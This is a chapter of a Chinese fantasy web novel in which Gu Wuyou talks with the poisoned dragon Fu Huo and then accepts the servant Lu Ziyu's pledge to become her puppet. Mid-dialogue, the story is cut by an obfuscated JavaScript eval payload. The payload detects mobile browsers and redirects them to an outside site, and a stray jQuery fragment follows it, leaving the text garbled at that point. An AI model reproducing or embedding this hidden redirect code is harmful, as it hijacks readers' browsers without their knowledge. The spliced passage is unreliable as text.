44. 失魂

作品:《反派乐子神迫害六界

    顾无忧的眼眶微微睁大。


    再定睛一看。


    他身体的变化显而易见。


    纵使周遭黯然昏昧、对方有意遮掩,可她既与伏惑面对面贴近,对此当然瞧得一清二楚。


    “啊……经过压制的毒素,这么快就再度复发了吗?”这一回,顾无忧是真的开始有些担心。


    她碰上对方泛滥热意的皮肤,摩挲疯长的雪色鳞纹,怜惜地喟叹。


    “唔……”伏惑却摁下她,唇线紧抿,几番颤抖波折,似欲言又止。


    到底要不要告诉她,其实妖兽灵兽情绪激烈、或者失控到难以自制时,也会……


    犹豫再三,终于,伏惑只捡了个最无足轻重的话题。


    转移注意的同时,亦为他先前有如誓词般的一时流露找补,“不影响。总之,我能替你拖住他。”


    顾无忧并未多想,喜笑颜开:“嗯嗯,那刚好。我呢,准备了件助你行动事半功倍的神器哦!”


    伏惑狐疑:“……什么神器?”


    少女坏笑着一提及,他立即直觉不是好东西。


    不出所料,顾无忧点了点他颈项处栓着的缎带:“这个呀。”


    伏惑见状,有些无可奈何:“属于你的东西,我要怎么用?”


    他一直纳闷。


    顾无忧的能力源自何处?


    经黄泉境与琦瑰国一遭,她的力量居然长盛不衰。


    恍若永无竭尽。


    这绝非凡人之躯所能承受的庞大能力,更别提分割复杂的权能了。


    却听顾无忧踟蹰道:“没事的,似乎只要我同意,你就能够使用。之前,我把它给过兰……我想,应该不会有太大问题?”


    闻言,伏惑挤出一声冷哼:“哦,是我多虑。天道大人照拂四方、体恤众生,当真胸襟宽广。”


    “……”顾无忧扯着缎带,突兀松手,弹了他一下,“不准阴阳我!”


    “……”轻嗤过后,伏惑回答,“那我大概猜到,你要我如何使用你的东西了。”


    顾无忧讶然:“你猜到了?”


    “是。”


    无需她多说,伏惑即刻心领神会。


    难以言喻的奇怪默契。


    他心底自嘲,极其缓慢地煽动眼睫。


    或许他们之间,真有哪里相似吧。


    “既然准备就绪,我们便好好配合。”


    顾无忧被他逗乐,信誓旦旦对他保证,“待宴会结束,我一定给你一个满意的……结尾。”


    伏惑抬眼:“怎么,你能帮我解毒?你从樊枝那里得知解除蝶毒的方法了?”


    顾无忧摇头,理直气壮:“当然没有。他可意图靠这个来拿捏你我,怎会那么容易打听出来呢?”


    “那你还胸有成竹地担保?”


    转念一想,伏惑一副毫不意外的表情,“……罢了,你总是这样。”


    鬼知道她又打什么稀奇古怪的坏主意。


    总归受害者不是自己。


    相信她足矣。


    伏惑收了收腿,手掌撑地,踉跄起身。他朝向门口,似打算一走了之。


    顾无忧拍拍裙摆,跟着站立,好整以暇盯着他的身形:“不是说我这里才是合适你的藏身地?看你中毒,今晚,我可以慷慨地把床让给你睡哦!”


    “不必了,我找其他地方。”


    伏惑颇不赞同地回视,“况且,你不会以为刚刚我只是单纯在吓唬你吧?”


    顾无忧一怔:“啊,不是吗?”


    无言顿了会儿,伏惑阴森提醒:“……其他兽族我不了解,但是,龙族真的有失控而吞食同类的先例。”


    顾无忧开心捂嘴:“难道说……?!”


    “伏惑你愿意把我认作同类了?”


    伏惑:?


    “你在隐喻哪个同类……不对,你能否听听你的发言,重点是这个吗?”


    顾无忧瞬间褪去装模作样,她坦然将玩笑一笔带过,懒懒散散:“我知道我知道。所以,你是怕自己失控,伤害我?”


    一言戳破伏惑心底所想,他便沉默。


    是不想表明,却亦为默认。


    顾无忧仗义地拍拍他的肩膀,安慰道:“放心,我有的是力气和手段,没那么容易让你失控。”


    “……”


    “不过,确实如你所说,凡事有万一。万一某天,局面无可挽回,那时……”


    顾无忧温柔地微笑,吐露的字句竟格外认真残忍,“你再吃掉我,无可厚非。”


    伏惑瞳孔紧缩,语气怔忪:“什么?”


    饶是他从顾无忧那里得到的震撼,已累积如庞然高山……这一刻,伏惑还是被她深深振动。


    惊慌、迷茫、愕然。


    抑或狂喜?


    浑浊的浪潮彼此混杂融合,分不清、沥不透。他纷杂的思绪兜兜转转,无济于事。


    好在“趋利避害”的本能残存些许,逼迫伏惑咬牙施法——


    再跟顾无忧共处一室……


    他可能真的会失控!


    ……


    直至伏惑逃也似、跌跌撞撞迈进棱方,彻底消失,顾无忧都不理解发生了什么。


    明明她只是就事论事——


    任务没完成之前,伏惑万一失控,她的任务也就随之一块儿完蛋。


    她不死谁死?


    让他吃掉亦无不可呀。


    结果没想到,她这一席话,非但没留下对方,反而还将他……吓跑了?


    究竟哪里出错?


    顾无忧原地伫立,一头雾水。


    琢磨半晌,弄不出个所以然。


    “算了,难懂。”


    她瞥了眼完好的床榻,转头推门出去。


    被伏惑搅和这么一遭,完全睡不着了。


    在妄我宫内随便逛逛吧。


    流泄浅淡草木香的夜风,摇曳暖意融融的灯火忽远忽近。


    切实置身空旷的庭院,走了一小段,她却倏忽觉察不对劲,左右四望。


    看护的妖卒呢?


    半个影子都见不到,这不正常。


    要知道,她在四相宫,可不算拥有绝对的自由。


    除去先前靳恒越陪同的特殊情况,正常状态下,她不论去哪儿,不论什么时候,这些妖卒里每次至少有两个,雷打不动地跟着自己。


    现在是去哪儿了?


    才琢磨一阵,身后传来细微响动。


    渐行渐近。


    她仔细一听,心道耳熟。


    像是木轮滚碾地面发出的声音。


    顾无忧叹气。


    今晚,还真热闹。


    一个两个全来找她,没完了是吧?


    沐浴树枝交错横斜的剪影,顾无忧耐心等远处那晦暗的轮廓勾画清晰:“路子煜,你何时来的,我身边两个妖卒去哪儿了?”


    路子煜朝她垂首:“刚到不久。还等不及叩您屋门,见您先外出,煜便跟来了。”


    “至于那二位。深夜劳累,属下令他们简单休息片刻,眼下,估计已经熟睡。”


    ……简单的休息?什么觉睡得这么快?


    是路子煜对他们做了什么吧?


    对此无意深究,顾无忧直入主题:“你找我有事?”


    路子煜忐忑道:“白日,煜有幸观望了对群有宫伶人的搜查……其中,应该没有您的安插吧?”


    顾无忧摇头:“为什么这么问?”


    “因为……”路子煜扣紧轮椅扶手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595300|183531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,“煜无意间听到,一个半妖姑娘在和同伴谈论您的事情。她似乎对您特别感兴趣,所以煜斗胆猜测,她与您相熟?”


    顾无忧对此不否认,简短解释:“嗯,确实相熟。但仅限于在四相宫内。”


    她这么一说,路子煜就明白,她们之间没有关系。


    接着,顾无忧似笑非笑:“路子煜,你找我就为了问这个?”


    “不、不是。我……我想……”


    路子煜反倒支支吾吾,如鲠在喉。


    想说的话,尽管背地偷偷练习无数次,然而此刻一旦面对正主,依旧无法做到流畅完整地表达。


    “我想知道您接下来的计划。我想能够帮……帮上您的忙。”


    不自量力地凑上来,会被她唾弃吗?


    他始终身处边缘。


    哪怕如今,路子煜绞尽脑汁欺骗自己——至少有主肯为他拴上绳索,可是他内心终归难以洗脱自己的无能。


    他需要默默无闻。


    他只能默默无闻。


    这糟糕的状况将一直持续。


    甚至,当顾无忧离开琦瑰国之后,压根儿不会再度想起他。


    如同吹落一根无足轻重的羽毛。


    ……她的身边,永远不缺他一个。


    到那时,他还有怎样的目标才得以苟活于世?他的价值,就到此为止了?


    顾无忧对他的提议暂且不置可否,脱口而出:“帮我?哪怕你会死?”


    路子煜张了张嘴,仿佛一下子不知如何作答。


    “呵呵,是我不该这么问的。换种问法吧。”


    见他犹疑,顾无忧轻笑道,“路子煜,你说想帮我,是认真的?”


    路子煜点头:“当然。”


    顾无忧故作苦恼,语意嗔怪:“既是真心,那该只想着为我效力就好呀。其他乱七八糟的东西,怎么还在想?”


    “……?!”


    这话足以说是十分蛮横无礼。


    然而,路子煜心脏怦怦狂跳。


    大概意识到自己早就无可救药,他对此分外羞耻,三缄其口——


    他竟然心动于对方的强势。


    恍若天道已宣告他的身心真正的归处。


    只此一刻,他就可凭此短暂肆意地幻想一场,他属于她。


    路子煜扶住嗡嗡作响的脑袋,似被泼天的惊喜砸中。


    “煜……可以只想着您吗?”


    “嗯!路子煜,其他与我无关的东西,统统丢掉吧!”


    顾无忧为他分析利弊,抛出诱人果实,“选择我,只选择我。至少,我可以承接你的恐惧。”


    “而且,你亦曾经亲自体验过呀。相信从今以后,这世上不会再有比我更让你恐惧的存在了。”


    顾无忧笑得纯良无害,“对吧?”


    无、法、反、驳。


    路子煜木然不动,几欲落泪。


    细数漫长挫败的人生,除她以外,再也没有予以自己的恐惧更为深刻之人。


    顾无忧,当之无愧的独一无二。


    “煜明白。”路子煜颤抖着承认。


    丢弃恐惧、丢弃理性地尽忠。


    何尝不是化作提线木偶、受人赏玩的一种方式?


    但是无妨。


    幻想已成真。


    他可以真正的,只属于她了。


    “您说得对。”


    “如果一定……要做傀儡,煜不想……不想成为樊枝的傀儡。”


    顾无忧,天道。


    他唯一的心灵依托。


    何其温柔,何其慈悲!


    路子煜双手交叠,捧着散发微光的约定符咒,小心翼翼抬至她眼前。


    “煜想,成为您的傀儡!”